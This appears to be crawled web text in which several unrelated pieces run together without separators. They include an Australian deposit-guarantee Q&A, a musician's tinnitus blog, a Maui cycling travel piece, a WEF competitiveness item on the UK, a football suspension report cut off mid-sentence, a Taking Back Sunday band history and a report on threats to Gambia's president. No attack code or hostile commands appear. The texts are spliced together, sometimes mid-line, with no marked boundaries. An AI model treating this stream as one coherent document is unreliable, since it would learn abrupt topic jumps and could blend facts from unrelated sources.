Given what we know about distractions during meetings, it sounds like this could be a tad disruptive to the proceedings. And that is exactly the point. “It’s time for meetings to evolve,” Russell maintains. He cites a variety of findings that indicate that meeting can often be useless and can waste up to $37 billion per year.
Getting things done, says Russell, is thwarted by groupthink, shyness, fear, yes-men, extroverts, and dominating managers. He believes the platform enables people to have fewer, shorter meetings and focus on what is important.Questions & Answers about the Guarantee on Deposits
1. Why did the Australian Government introduce the Guarantee Scheme for Large Deposits and Wholesale Funding?
On 12 October 2008, the Australian Government announced temporary arrangements to enable the provision of a guarantee for the deposits and wholesale funding of Australian deposit-taking institutions.
In the lead up to this announcement, developments in international wholesale funding markets were restricting the ability of financial institutions both here and overseas to access funding, with potentially serious implications for liquidity and lending activity.
To address these pressures, the Government guarantee arrangements were designed to promote financial system stability in Australia, by supporting confidence and assisting authorised deposit-taking institutions (ADIs) – banks, building societies and credit unions - to continue to access funding at a time of considerable turbulence. They were also designed to ensure that Australian institutions are not placed at a disadvantage compared to their international competitors that could access similar government guarantees on their wholesale funding.
2. What were the arrangements up until 1 February 2012?
Up until 1 February 2012, deposits up to and including $1 million in eligible ADIs – including banks, buildings societies and credit unions – were guaranteed by the Australian Government without charge under the Financial Claims Scheme.
For customers with total deposit balances over $1 million, at a single ADI, a guarantee was available on that portion of their balances over $1 million under the Guarantee Scheme subject to an approval process and other conditions, including the payment of a monthly fee by the ADI on the amounts guaranteed. The $1 million amount applied even if the deposits were spread across multiple accounts in the same institution.
The Guarantee Scheme closed to new liabilities on 31 March 2010. Existing liabilities will remain covered until maturity (in the case of term deposits) or until October 2015 (in the case of at call deposits) – see the Guarantee Scheme Closure Q&A.
3. What are the new arrangements from 1 February 2012?
A new permanent cap of $250,000 per person per institution on deposits guaranteed under the Financial Claims Scheme took effect from 1 February 2012. This new cap was announced by the Treasurer on 11 September 2011.
A grandfathering provision has been put in place for term deposits that existed on 10 September 2011. For these deposits, the $1 million cap will apply until the earlier of either:
the maturity date – for term deposits which mature between 1 February 2012 and 31 December 2012; or
31 December 2012 – for term deposits which mature on or after this date.
The new $250,000 cap will then apply.
For term deposits opened or rolled over after 10 September 2011, the $250,000 cap applies from the 1 February 2012. If a term deposit rolls over, the rollover date is taken to be the maturity date for the purpose of the FCS.
The Financial Claims Scheme is administered by the Australian Prudential Regulation Authority, so inquiries should be directed to their hotline on 1300 558 849. APRA has also provided a questions and answers summary of the Financial Claims Scheme on their website.
Financial Claims Scheme Questions and Answers - PDF
The rules for the Guarantee Scheme for Large Deposits and Wholesale Funding have not changed. Only amounts over $1 million are included as guaranteed liabilities. Amounts between $250,000 and $1 million that are no longer guaranteed under the Financial Claims Scheme from 1 February 2012 will not be covered under the Guarantee Scheme.
4. How did the guarantee for large deposits work?
Under the Australian Government Guarantee Scheme for Large Deposits and Wholesale Funding, eligible ADIs could apply to the Scheme Administrator to be able to offer guaranteed large deposits. It was up to individual ADIs whether they chose to apply for this approval to offer guaranteed large deposits.
Having received the necessary approval, an eligible ADI could then offer guaranteed deposits to its customers whose total deposit balances exceeded $1 million. Customers were under no obligation to have the guarantee apply to that portion of their total deposit balances over $1 million, should the ADI holding their account offer a guarantee.
The ADI is obliged to pay the Scheme Administrator a fee based on the value of deposits it has covered by the guarantee. The fee only applies to the amount of each customer's total deposits above $1 million that is guaranteed.
5. What deposits and institutions were covered?
Only deposit products provided by ADIs supervised by APRA were eligible to be covered. A listing of eligible institutions is at Schedule 1 of the Scheme Rules. Separate arrangements applied for deposits with foreign bank branches – see Foreign Bank Branches.
Deposit products included all conventional deposits, including on-line savings accounts, call accounts and term deposits. For a non-exhaustive list of sample accounts – see Sample Accounts. ADIs had to apply to have specific deposit products covered under the Guarantee Scheme.
Further information on the coverage of the guarantee is in the Scheme Rules.
6. What is the level of the fee?
The same fee schedule currently applies to an ADI's large deposits as to its wholesale funding.
The fee depends on the credit rating of the ADI, with higher rated institutions paying a lower fee to access the Government guarantee.
The same fee applies regardless of the term of the deposit.
Credit Rating Fee per annum AAA to AA- 70 basis points (0.7 per cent) A+ to A- 100 basis points (1.0 per cent) BBB+ and below and Unrated 150 basis points (1.5 per cent)
7. Who pays the fee?
The fee is payable by the ADI, based on the value of deposits that are subject to the guarantee. It is only payable on that portion of a customer's total deposit balance over $1 million that is subject to the guarantee.
While it is up to each ADI to determine the arrangements it makes with its customers, including whether and to what extent it passes the fee on to customers, it is expected that where an institution offers both guaranteed and non-guaranteed deposits, the difference in interest paid to the customer will reflect the guarantee fee it must pay.
8. What is the timing of the fee?
The fee applies from 28 November 2008 and is paid by the ADI monthly in arrears.
9. Who should depositors contact for more information?
Depositors whose deposit balances are $250,000 or less or with grandfathering arrangements for term deposits as set out at (3) are automatically covered by the Financial Claims Scheme.
Depositors with total deposit balances above $1 million at a single institution should contact their ADI for more information on the arrangements the ADI has made regarding the Guarantee of large deposits. The arrangements for depositors after 31 March 2010 are set out at the Guarantee Scheme Closure Q&A.It comes like a thief in the night as the realisation creeps up on you. The realisation that you may never again know silence. Could tinnitus and hearing loss be a musicians worst nightmare?
The short answer is yes, but this post is going to attempt to put a more positive spin on tinnitus and hearing loss and also to quell any common misconceptions.
I have been no stranger to loud noises. Self inflicted audio abuse was one of my favourite pastimes. I used to gig three or four times a week and in between I would spend many hours sat in front of speakers producing electronic music. And when I wasn’t rehearsing or recording or performing, I would be working behind the bar in a live music venue. Music’s awesome and I couldn’t get enough of it.
I remember after one particularly loud rehearsal we had in my cellar (an old man from all the way down the end of my road came to complain…) I noticed a faint ringing sound. A ringing sound which lasted for about a week. I was relieved when it had passed, but it was only to be the beginning…
Over the next four years or so it slowly worsened and became even more of a ball ache, but it was manageable. Then one evening after playing at a reggae event, the ringing sound was so loud, I literally did not know how I would cope, or what I would do if it got any louder.
I think it’s important to add that I was not reckless with my ears. I always wore ear protection and then ‘mahoosive’ ear defenders when things got really bad! It turns out I probably wore ear protection too much. But I will explain later on.
Anyway, during those four years I had regular hearing tests and I had lost a significant portion of my top-end frequencies. Conversation became difficult as ‘esses’ and ‘tees’ became ever more elusive. I had to stop the music…
Needless to say this wasn’t a happy time. But it was a transitional time that would prove to be one of the most important things to happen to me.
It was around this time that I started Tinnitus Retraining Therapy (TRT) free on the NHS. I’ve heard that TRT doesn’t work for everyone, but for me it was nothing short of life changing.
During TRT I learnt that some people have hearing loss, but do not have tinnitus. And other people may have tinnitus, but without hearing loss. So although there was nothing I could do about my hearing loss (apart from my trusty hearing aids) perhaps there was something I could do to alleviate the insufferable ringing sound.
My therapist asked me to imagine living in a hot country where dangerous snakes lurk around every corner and could pounce at any moment. Where hearing the ‘sss’ of a snake could save my life. The brain, knowing that the awareness of a snake in the room could be a matter of life and death, does something curious. It amplifies the sound and engages the bodies fight or flight mechanism allowing me to live to see another day. Good job brain.
Now without getting too sciencey, the tinnitus is the snake…
I’ll let that hang in the air for a moment for cinematic effect.
Every time I came back from a gig and as I prepared for sleep, I’d hear that damn snake ringing loudly in my ears. You can imagine the profanity… In my mind I had made the connection that I was hearing that ringing sound because my hearing had worsened. Every single time after a loud noise exposure, I’d become aware of the tinnitus and the fear of losing yet more hearing would encapsulate me. Now my brain had noticed the importance I had put onto tinnitus, and how it was a matter of saving my hearing, so it cranked up the volume of the snake.
Now something was flawed in my way of thinking. After another couple of years of regular hearing check ups, my hearing had barely changed. However the tinnitus was louder than ever. This suggested that tinnitus was more of a mental issue rather than something physical.
I mentioned ear protection earlier. As I became more and more cautious, I started wearing ear plugs when going to watch acoustic performances or when going to the pub (if it was particularly rowdy). When I’d take the tube I’d plug up too. The thing is, this added to my anxiety of losing more hearing. And as I blocked out more and more of the noises from the outside world, guess what happened? My perception of the noises in my head became more refined. In addition, I started to suffer from hyperacusis which is where some sounds becomes unbearable or even painful.
I needed to unplug. The truth is our ears are capable of dealing with loud noises (up to a degree) and do recover providing we give them plenty of breaks. Take the London Underground for instance, according to this BBC article
some trains peak at 118dB. So why aren’t Londoners going deaf left right and centre? This 118dB is not constant and the fact that you pull into a station every couple of minutes or so, allows the ears time to recover.
This is not to say that earplugs are a waste of time. If you are around loud music for a sustained period of time, then you need to plug up. Just that a more moderate approach is necessary. In the last gigs I did, I used to wear foam earplugs and over-the-ear ear defenders. Not only did this look ridiculous, I couldn’t hear any hi hats or count ins. But even with all this protection everything still felt too loud. This was the hyperacusis coming into play. My tolerance for sound was dropping.
TRT uses Cognitive Behavioural Therapy (CBT) techniques to monitor thoughts so that over time I could see how my mind was responsible for much of my suffering and not just with tinnitus.
You see, every time you have a thought, it makes a footprint in the wet sand of the neural pathways in your brain. The more you have a particular thought, the deeper the footprint becomes, until one day you are only able to walk in those footprints.
As I began to monitor my thoughts and feelings in relation to tinnitus, patterns of thoughts started to emerge. I would often exhibit ‘all or nothing’ thoughts such as “I cannot enjoy playing the piano anymore” or ‘magnification’ thoughts like “I am going completely deaf”. By seeing that these thoughts were false, I was able to counter them with more accurate responses. New footprints. Over time, my reaction to tinnitus began to change and with the science I had learned about the brain and how we perceive sound (the Jastreboff model) tinnitus became less of a problem for me and I am able to enjoy music and social activities like before.
For more detailed information about the Jastreboff model and TRT visit http://www.tinnitus.org/
At about the time I started TRT I began to reassess my mission in life. I made a vision board and came to the conclusion that my life was about music and helping people. As much as I loved dropping a ‘dirty wabwabwab’ in my live drum n bass band, that was not the reason why I started playing music. I started playing music because I loved expressing myself through sound and sharing with others. Somewhere along the way I had lost sight of this and focused instead on whether this tune was commercially viable and if I was good enough to hit the big time.
So when I quit my bands things changed rather rapidly. Out of nowhere I landed myself a sweet job teaching piano in schools. My desire to explore sound led me to acquiring my beautiful Hang and my Native American flutes. The Hang awakened in me the desire to play music in hospices. Playing in hospices allowed me to start confronting some of my repressed memories and emotions. And this has led to me being more whole and happier than I have ever been.
So actually yes, there is life after tinnitus and it’s a bit bloody good.
Check out my new YouTube series on tinnitus and hearing loss for musicians.
Check out my new music for meditation album here.
Written by Andrew Ford 10/12/13Having recovered from an intense two-week trip that included rides up the Hawaiian volcano of Haleakala and the Taiwan KOM Challenge, CyclingTips's Andy van Bergen has returned to Australia and had time to reflect on the terrific riding available on the Hawaiian island of Maui. Have a read, look at the photos, then put it on your bucket list.
Think of Hawaii and your first thoughts are likely to be of surf breaks, grass skirts, and pineapples. And if you are planning a trip to Hawaii chances are it’s not with cycling front of mind. But with such a variety of rides within close proximity and a landscape that was surely formed with cyclists in mind, it’s time to add Maui to your list of cycling holiday destinations.
Making the connecting flight to Maui from Honolulu it is impossible not to notice the two looming (and reassuringly extinct) volcanos which form the east and west sections of the island. What becomes immediately apparent is that the entire island is simply two volcanos shunted together.
Skirting the edge of east Maui at height feels like a surfer picking lines in the break — a spiderweb of twisting, curving roads snake their way across, over, and through the island. Head away from the coast and everything is up.
While not as lush as the Jurassic Park-esque Kauai, Maui clearly is incredibly beautiful. The barren upper reaches of Haleakala poking through the cloud look like a moonscape, whereas the densely forested lower reaches seem inviting and cool.
Heading out from the airport nestled in the valley you could be forgiven for thinking you are in any suburban centre (save for the imposing 3,000m peaks extending into the cloud above your head), but within a couple of minutes drive this is quickly replaced by the tropical surrounds you might expect from a Hawaiian island.
After setting ourselves up and getting the bikes into gear it was time to get out and explore the island by bike. Our group was picked up by Donnie and the team at Go Cycling Maui and driven to the lower reaches of Haleakala.
With an uninterrupted view down the long slopes into the saddle between east and west Maui, it was easy to forget we were sitting higher than the majority of peaks in Australia. We applied sunscreen – which needs to be a second skin there — and headed east in the direction of Hana.
After a dozen winding, weaving and downright fun kilometres through the forest we were spat out above the long legs of the lower slopes of Haleakala as we slowly circumnavigated the island. Imagine collecting up a large sheet in the middle — we were traversing the furrowed ridges, slowly scrubbing off altitude, but constantly rolling, climbing, and descending to the next undulation.
As we continued to round the island we noticed the landscape starting to change. Replacing the thick forest were the windswept crinkles of the lava fields. We could now see the road dipping and weaving far ahead of us, stretching around toward Hana. In the distance we could see the magnificent wind turbines humming against a foreground of green scrub and deep blue water. Feint alarm bells started to sound. Surely where there are wind turbines … and then smack we were hit in the face with a block headwind.
“Our goal when taking cyclists out on the island is to use the altitude gain to our advantage” explained Maui Cyclery’s Donnie Arnoult. “We want to always try to descend into the wind, and climb protected”. With the predictable daily Moa’e tradewind it becomes easy to plan ahead.
Despite getting knocked around with each slight change of direction, we were dumping altitude at a constant rate, and the headwind’s only effect seemed to be raising the required conversation level to a dull roar. The road was beautiful, the surface smooth (something we were to encounter constantly on this trip), and the ‘winter’ weather a stunning 27 degrees Celsius.
Turning around and heading back we were faced with a tailwind-assisted 1,000m of climbing. With virtually no resistance from the baby-smooth tarmac and a stomping tradewind in our sails it felt like an unfair (but welcome) advantage.
Just above our fresh sandwich lunch stop at the infamous “Grandma’s” we took a small detour along a narrow handbuilt rockwall-lined laneway. With incredible views and white picket gates it was unsurprising to hear of the high property prices and famous neighbours. After a quick natural break at the entrance to Oprah’s Hawaiian getaway we were back on the road, homeward bound.
Due to the earlier climb we were owed another 2,000m of descending so once again we took off into the wind. In a tight pack the descent was fast, taking us down the mountain and deep into the sickly-sweet-smelling sugarcane plantations.
Back on the main road the highway junk kays should have been less enjoyable but a wide bike path, tailwind, and a quick group meant that the time passed quickly. There are only a handful of freeways on the island, and all either feature wide shoulders or specific bike paths. They are a somewhat necessary evil, with limited linkage roads joining the fun stuff. We came to know this particular stretch well.
For a bunch of climbers, the Haleakala climb and descent provided the biggest drawcard during this trip, its taunting 3,000m peak in view almost the entire time when on the island.
Speaking with a few of the local riders they were surprised by the interest. The majority of cycling visitors head straight to the Road to Hana a 60-mile (100km) stretch of road that hugs the north-east coastline and features a staggering 617 corners. With a large group we opted out of this, as it is best tackled early in the morning, and with a small crew. The road’s tight blind corners and small shoulder are no mix with the tourist traffic.
In fact such is the road’s reputation that hire cars are not insured beyond a certain point. Somehow that just makes it all the more appealing, and combined with many firsthand recommendations it is on the list for another visit.
At a shade under 100km and 300m of climbing, the West Maui loop is a weekender’s favourite with a regular crew leaving from West Maui Cycles. Rides midweek tend to be solo unless you specifically hook up with one of the bike shops.
Many of the tours sold on the island tend to focus on the Haleakala descent, but do your homework before booking anything, as many of these are with full-face helmets and coaster-braked cruisers.
Rides on the island are best started early, before the heat of the day sets in. If you are taking in Haleakala pack for all conditions. We departed Paia in 30 degree heat and were faced with sleet at 2,500m. An ascent three days later by one of the riders saw him rolling from left-handed switchbacks in the sun, to belting rain on the right-handed switchbacks during an hour of climbing. Water stops are available, but scarce, so ask around before heading off.
It seemed that wherever we rode on the island – from the jumbled lava fields and black sand beaches, to the deeply cambered switched climbs, or rollercoaster traverses — the roads were smooth and well maintained. One road is a happy coincidence, but after a week of riding constant hotmix it tends to spoil you for anything less.
Click here to see Andy’s Strava file from the ride. Click here to read Andy’s article about test riding Shimano’s new Ultegra groupset (including disc brakes) on Maui. Disclosure statement: Andy’s trip to Hawaii, including flights, meals and accommodation, was provided by Shimano, whom we would like to thank for this opportunity. No payment was made for this article. Shimano advertises separately on CyclingTips.A performer playing the role of Britain's Queen Elizabeth parachutes from a helicopter during the opening ceremony of the London 2012 Olympic Games at the Olympic Stadium July 27, 2012. REUTERS/Fabrizio Bensch The World Economic Forum's annual Global Competitiveness Report just came out for 2015, and the full document is available here.
It's closely watched by policymakers around the world — the top spots are jealously guarded by the world's most advanced economies, while others strive to climb from the lower levels.
This year, Switzerland holds it first place spot, while Singapore and the United States get 2nd and 3rd, the same as was true last year.
But the United Kingdom has dropped into 10th place, from 9th last year. The country is partly held back by an absolutely abysmal score on one of the major parts of the rankings.
The UK beats other advanced economies on a bundle of indicators, but noticeably performs worse on one part than any other.
World Economic Forum
The UK gets an astonishingly bad ranking on the "macroeconomic environment" sub-index, where it comes 108th out of 140, behind Haiti, Liberia, Zimbabwe and Myanmar.
That seems like a ludicrously terrible placing for the UK, until you see what the index is based on.
World Economic Forum, Business Insider Of the five sub-indices that make up "macroeconomic environment" the UK performs well in two, but there are three other sub-indices where the performance is even worse than the headline figure.
Here's what the UK ranks for each element:
Inflation: 1st of 140
Country credit rating: 14th of 140
Government budget balance: 118th of 140
Gross national savings: 118th of 140
General government debt: 123rd of 140Oklahoma coach Bob Stoops yells at his players from the sideline during an NCAA college football game against Texas Tech, Saturday, Oct. 22, 2016, in Lubbock, Texas. (Brad Tollefson/Lubbock Avalanche-Journal via AP)
Oklahoma DE Amani Bledsoe, who was not with the Sooners on Saturday night against Kansas, has been suspended a year by the NCAA after failing a performance enhancing drug test, according to the Lawrence Journal-World.
OU plans to appeal the suspension, according to the Journal-World.
The Sooners announced Bledsoe's "indefinite suspension" shortly before kickoff Saturday. Coach Bob Stoops said it was for a violation of team rules after Oklahoma's 56-3 victory over the Jayhawks.
Bledsoe was previously listed at No. 2 on the depth chart behind Austin Roberts. He saw playing time in each of the |
A Decade Under the Influence", Where You Want To Be went on to debut at the No. 3 spot on the Billboard 200 albums chart, with around 220,000 copies sold. It became one of the best-selling independent rock albums within a year, selling 634,000 copies by June 2005.[27] Rolling Stone Magazine listed Where You Want To Be as one of the top fifty records of 2004.[28] Instead of spending marketing money towards trying to get radio play, Victory Records used the internet and fans to spread the word about the upcoming album. They targeted consumers familiar with Victory Records as well as fans of emo music. They distributed a label sampler that included songs from Where You Want To Be to get fans excited about the release. They used the Taking Back Sunday street team, consisting of about 25,000 individuals, to promote the album. In return fans could get pre-sale tickets, win shoes and other various prizes.
Taking Back Sunday toured frequently for eight months in support of Where You Want to Be.[29] The band received even more mainstream exposure by appearing on late night talk shows Jimmy Kimmel Live!; as well as contributing Where You Want to Be's second single, "This Photograph Is Proof (I Know You Know)", to the soundtrack for Spider-Man 2. They also contributed the song "Your Own Disaster" to the Elektra soundtrack.[citation needed]
Major label debut (2005–2007) [ edit ]
Taking Back Sunday performing on the Projekt Revolution tour in Mansfield, Massachusetts on August 24, 2007
On June 10, 2005, it was announced that the band had signed with major label Warner Bros. Records and would begin recording their third album later in 2005.[27] That month, the group contributed "Error: Operator" to the video-game adaption of Fantastic Four,[30] and it was later added to the film's soundtrack as well.[31]
On September 21, 2005, it was announced that Taking Back Sunday had begun recording their third album with Eric Valentine.[32] The group chose Valentine because he had produced Queens of the Stone Age's Songs for the Deaf (2002) and Third Eye Blind's self-titled album (1997).[33] On April 25, 2006, Taking Back Sunday released their third album, entitled Louder Now, on Warner Bros. Records. The members' comments on the album reflected the dramatic change the band had undergone in the two years since their last release. Matt Rubano noted that the move to a major label was not something the band took lightly, but it was a move that made sense given the band's tumultuous past.[34] Lazzara stated that fans seemed to feel their live shows had more energy than their recordings, and that Louder Now brought more of that across.
Taking Back Sunday received mainstream exposure by appearing on the late night talk shows The Tonight Show with Jay Leno, Jimmy Kimmel Live!, and Late Night with Conan O'Brien, as well as the teen drama Degrassi: The Next Generation in an episode entitled "What's It Feel Like To Be A Ghost?".
In December 2006, the band released its first documentary, Louder Now: PartOne, featuring behind-the-scenes tour footage and four live concerts. Following months of touring to support Louder Now, Taking Back Sunday appeared in the American leg of Live Earth on July 7, 2007. During the summer of 2007, Taking Back Sunday was also a part of Linkin Park's Projekt Revolution tour, along with My Chemical Romance, HIM, and several other bands.
On October 30, 2006, the band's former record label, Victory Records, released Notes from the Past, which featured four songs from Tell All Your Friends, six songs from Where You Want To Be, and two B-sides: The Ballad of Sal Villanueva and Your Own Disaster ('04 mix). The band then released Louder Now: Part Two on November 20, 2007, a DVD of unreleased live concert footage from their show at Long Beach Arena in Long Beach, California, which included special features such as the video for "Twenty-Twenty Surgery", made to be released in Europe. The DVD was packaged with a companion CD featuring eight live tracks, two B-sides that were previously unreleased in America, and a special "Twelve Days of Christmas" track.[citation needed] In 2007, the band contributed the song "What's It Feel Like to Be a Ghost?" to the soundtrack for the science fiction action film Transformers,[35] although the song did not appear in the film.
Departure of Fred Mascherino and New Again (2007–2010) [ edit ]
In October 2007 the band announced that Taking Back Sunday and guitarist Fred Mascherino would be parting ways, which came after he decided to focus on his then upcoming solo album with The Color Fred. He was later replaced by Matthew Fazzi,[36] who would provide guitar and backing vocals.[37] Mascherino went on to reveal in later interviews: "There were just problems between the five of us about writing, who was going to do it and how we were going to do it, we weren't being very productive because we were fighting too much about that stuff. The band was more about cooking food than making music."[38] This statement inspired the band to write the track "Capital M-E", which features lyrical references to Mascherino's departure and the comments he made afterward.[39] In 2010, Fred Mascherino posted a picture of himself and Adam Lazzara with the caption, "Today was a good day" indicating that he and Lazzara have since made up and are on good terms again.[40][better source needed]
On November 6, 2008, Taking Back Sunday revealed in Rolling Stone that their fourth studio album was to be titled New Again and would feature the tracks "Winter Passing", "Lonely Lonely", "Catholic Knees", and "Carpathia". They stated that "Winter Passing" was "...a slow dance like the last song at your 8th grade dance [that] moves more like an R&B tune than a rock and roll song", and that "Carpathia" will include the first bass solos in any Taking Back Sunday song. They also commented that "Catholic Knees" is "one of the heavier songs we've ever written", and that "Lonely Lonely" is "relentless – two and a half minutes of punching you in the face".[41] In the build-up to the release of New Again, the band released a number of tracks—the first of which was "Carpathia"—on December 21, 2008 as free digital downloads to those who purchased the band's Christmas holiday set,[42] with a physical limited vinyl release of the track as well as a live version of "Catholic Knees" released on April 18, 2009,[43] secondly title track "New Again" as a free single download from the band's website on April 16, 2009, followed by the first full single "Sink into Me", released on April 20, 2009, premiering on BBC Radio 1's Zane Lowe show, and being made available digitally short after. On May 16, 2009, "Everything Must Go" was released to stream on the band's MySpace. Every Monday, the band released a new song on their MySpace from New Again labeling it "New Music Monday".[44]
During their tour supporting New Again, the band played in Dublin, Ireland where guitarist Matt Fazzi fractured his foot.[45] Despite this, the show in Belfast, Northern Ireland went on and the rest of the tour was completed, which included stops in the UK at Sonisphere Festival and the Kerrang! awards show.[citation needed] On August 18, 2009, the band released a digital live album entitled Live from Bamboozle '09.[citation needed] The album consists of 13 live tracks recorded at The Bamboozle, where they played in May of the same year.[citation needed] In September 2009, the band announced they will be co-headlining with The All-American Rejects and Anberlin for a full US tour.[citation needed] They are also set to release a live acoustic DVD around spring 2010 following the tour.
On February 12, 2010, the band released a previously unreleased b-side from New Again, entitled "Winter Passing", on their official website.[46]
Throughout February and March the band played the Australian Soundwave tour, playing songs from various albums to crowds of almost 30,000.[citation needed]
Taking Back Sunday and lineup change (2010–2012) [ edit ]
Vocalist Adam Lazzara performing with Taking Back Sunday on Warped Tour 2012
On March 29, 2010, Matt Rubano and Matthew Fazzi announced that they were no longer members of Taking Back Sunday.[47][48] The band's official website also posted a picture of the original line-up with the members' eyes crossed out, indicating a possible reunion of the Tell All Your Friends era lineup.[46][49] On March 31, 2010, tbsnewagain tweeted a link to a video announcing the new lineup of the band. The video ended with a quick stream of words which ended with, "Sometimes it takes some time to remember where you were headed in the first place and the people you intended to go there with. There's no hard feelings, just the future."[50]
On April 12, the band made an official announcement confirming that John Nolan and Shaun Cooper had re-joined the band. It was announced that they would soon begin the recording process of their fifth studio album with Louder Now producer Eric Valentine.[51] On the same day, Adam Lazzara did an interview with Alternative Press, in which he discussed how the original line-up got back together and how both Matt Rubano and Matt Fazzi were not fired, but rather "let go". The band finished writing in El Paso with around 15 songs completed, according to Mark O'Connell.[citation needed] Pre-production on the new album began on August 17, 2010, the same day their live acoustic album Live from Orensanz was released.[52] On December 20, 2010, the band put out a new Christmas song entitled "Merry Christmas I Missed You So Much".[53] On April 6, 2011, the band played at Maxwell's in Hoboken, New Jersey, to record footage for an upcoming video for the song "El Paso". Adam Lazzara requested that the audience put away their phones and cameras during the recording. They played the song three times during the set.[54] During this performance, the band also debuted a new song entitled "Faith (When I Let You Down)", live for the first time.[55] "Faith (When I Let You Down)" was released as the official first single from the album on May 3, 2011, with an acoustic version of "Great Romances of the 20th Century" as the b-side. On June 7, 2011, the second official single "This Is All Now" was released on iTunes, with the b-side being an acoustic version of "Ghost Man on Third".[56] On June 26, 2011 in an interview with Robert Herrera of Punkvideosrock.com, Mark and Shaun stated that the reason they returned to their original lineup was because they no longer felt it was Taking Back Sunday without the original members. Mark stated they were miserable as a band, weren't having fun, and didn't like the direction the band was going so they decided to reach out to the original members and after meeting with the band in Texas found that "the chemistry was still there."[57]
On July 8, 2011, Taking Back Sunday released an official music video for "Faith (When I Let You Down)".[58] On November 3, 2011, Taking Back Sunday released an official music video for "You Got Me". This is the second single from their self-titled album. The video was created with the help of Steve Pedulla and Ward McDonald and it features guitarist Eddie Reyes dancing solo on a theater stage. Taking Back Sunday played Warped Tour 2012 at all locations. In honor of Record Store Day 2012, the band released a limited press vinyl LP entitled "We Play Songs", featuring four live acoustic tracks.[59]
TAYF10 anniversary tour (2012–13) [ edit ]
Taking Back Sunday embarked on a "Tell All Your Friends" 10th anniversary tour for 2012, during which the band performed their debut album in its entirety.[60] The full US tour featured Bayside as main support, with Transit, Man Overboard and Gabriel the Marine as special guests. An audio and video recording of the acoustic version of the tour was released for digital download through the band's website on June 18, 2013.[citation needed]
On June 7, 2013 2:33PM, Taking Back Sunday took to Twitter to confirm that the recording of their 6th studio album had begun; they tweeted: "Phase one of recording the new record starts now... Happy Friday!"[61] The band, who are working alongside producers Marc Jacob Hudson and Ray Jeffrey, have confirmed that pre-production of the 6th studio record has been completed, and that drum and bass tracking has begun.[62] On July 1, 2013, the band announced that guitar and vocal tracking had begun as well.[63] They announced on Facebook that the album will be released in early 2014.[citation needed]
On August 29, 2013, Adam Lazzara and John Nolan performed an acoustic set at the Leaky Lifeboat Inn, in Seaford, New York, where they debuted a new song with a working title, "The Bird You Cannot Change".[64] On September 11 and 12 the band played a new song at Starland Ballroom called "Flicker Fade". Song title was later confirmed during a televised concert on September 12 on AXSTV. On October 13, the band performed a new song, with the working title, "Anywhere That You Want to Go / Beat Up Car".
From October 25 through November 2, former Underoath vocalist Spencer Chamberlain began filling in on lead vocals following the premature birth of Adam Lazzara's son.[citation needed] On November 8, Lazzara and Nolan performed at the Staller Center for the Arts at Stony Brook University as an acoustic act.[citation needed] This featured the appearance of a Stony Brook violinist named Dylan Ebrahimian who also will appear on Taking Back Sunday's next album due in 2014.[citation needed]
Happiness Is, Tidal Wave and departure of Eddie Reyes (2014–present) [ edit ]
On January 11, 2014, Taking Back Sunday revealed that a new album, Happiness Is, was available for pre-order on iTunes, as was a new track: "Flicker, Fade".[citation needed] Happiness Is was released on March 18, 2014 through Hopeless Records.[65]
The band embarked on a North American headline tour in 2015 with The Menzingers and letlive..
On June 27, 2016, the band's next album, Tidal Wave, was announced for release on September 16.[66] Material for the album was written in between tours for Happiness Is.[67]
On April 13, 2018, it was announced that founding guitarist Eddie Reyes has parted ways with the band.[68] This was later confirmed by Reyes stating the reason for his departure was due to his battle with alcoholism and hope to join the band again in the future. In the meantime, he has also stated to have started a new band.[69]
On the subject of ever touring with previous members of Taking Back Sunday, John Nolan said in an interview: "I don’t think that’s something that really interests us. This lineup has been together for three albums now and we’re really focused on continuing to develop and evolve together. Revisiting old songs with past band members just seem like an exercise in nostalgia."[70]
On October 12, 2018, the band began announcing a compilation album to celebrate their 20th anniversary, along with a world wide tour. The album is to be titled Twenty, which will be released on January 11, 2019.[71] Twenty consists of songs from Taking Back Sunday's Victory Records and Warner Bros. Records albums, which are now owned by Concord Music.
Band members [ edit ]
Current members John Nolan – lead guitar, keyboards, vocals (1999–2003; 2010–present)
Adam Lazzara – lead vocals (2001–present); bass guitar, vocals (2000–2001)
Mark O'Connell – drums, percussion (2001–present)
Shaun Cooper – bass guitar (2001–2003; 2010–present) Former members Jesse Lacey – bass guitar, vocals (1999–2000)
Steven DeJoseph – drums, percussion (1999–2001)
Antonio Longo – lead vocals (1999–2001)
Fred Mascherino – lead guitar, vocals (2003–2007)
Matt Rubano – bass guitar, backing vocals (2003–2010)
Matthew Fazzi – lead guitar, keyboards, vocals (2008–2010)
Eddie Reyes – rhythm guitar (1999–2018)
Discography [ edit ]
Studio albums
References [ edit ]
Additional notes [ edit ]
^ Your Favorite Weapon (2001). Nolan wrote about the event from his point of view in Taking Back Sunday's "There's No 'I' in Team", and he and Lacey later reconciled.[15] This event later inspired Brand New to include "Seventy Times 7" on their debut album,(2001). Nolan wrote about the event from his point of view in Taking Back Sunday's "There's No 'I' in Team", and he and Lacey later reconciled. ^ Alternative Press, "spawned one of the most public intra-band rivalries in emo history."[16] In 2015, Lazzara described Lacey as "a dick. He just sucks. He's not a good person."[17] Lacey became hostile towards Lazzara and Taking Back Sunday. This situation, according to, "spawned one of the most public intra-band rivalries in emo history."In 2015, Lazzara described Lacey as "a dick. He just sucks. He's not a good person."
Citations [ edit ]The Gambian army has received intelligence about a possible threat to the life of President Adama Barrow. The threat is linked to army deserters who are thought to be close to former President Yahya Jammeh who left the country in January following elections that ended his 22 years in power.
“We believe that some of them are in neighbouring countries - Senegal and also Guinea Bissau,” said the Gambian army’s spokesman, Omar Bojang.
The possibility of Gambia being destabilised by elements based outside the country had already been raised by Mankeur Ndiaye, Senegal’s foreign affairs minister, during a recent press conference. He refused to give further details, but did confirm that the threat came from outside the country.
A confidential document published by Senegalese military intelligence and seen by RFI’s French language Africa service discusses the presence of army deserters, who were close to Jammeh, being present in Mauritania, Guinea and Guinea Bissau. Notably, it references the notorious paramilitary group known as the Jungulers who had been implicated in rights abuses during Jammeh’s rule.
The intelligence document, dated 27 June and titled, “Threats of destabilisation in the Gambia”, does indicate that the information has not yet been verified and cross-checked. However, confirmation by the Gambian armed forces does seem to indicate that the information has some weight.
“We have also received the same intelligence, we’ve received the same information,” Bojang told RFI by telephone on Wednesday, saying that the Gambian authorities have contacted both the governments of Senegal and France to share their reports.
“We understand that some members of the Gambia Armed Forces are outside the country and we’re monitoring their activities too,” said the Gambian military spokesperson, who played down the risk, describing it as “not a very big threat”.
Senegalese soldiers remain stationed in Gambia as part of a deployment by the Ecowas regional bloc. The troops were originally used to help compel former President Jammeh to leave power following the election of Barrow.
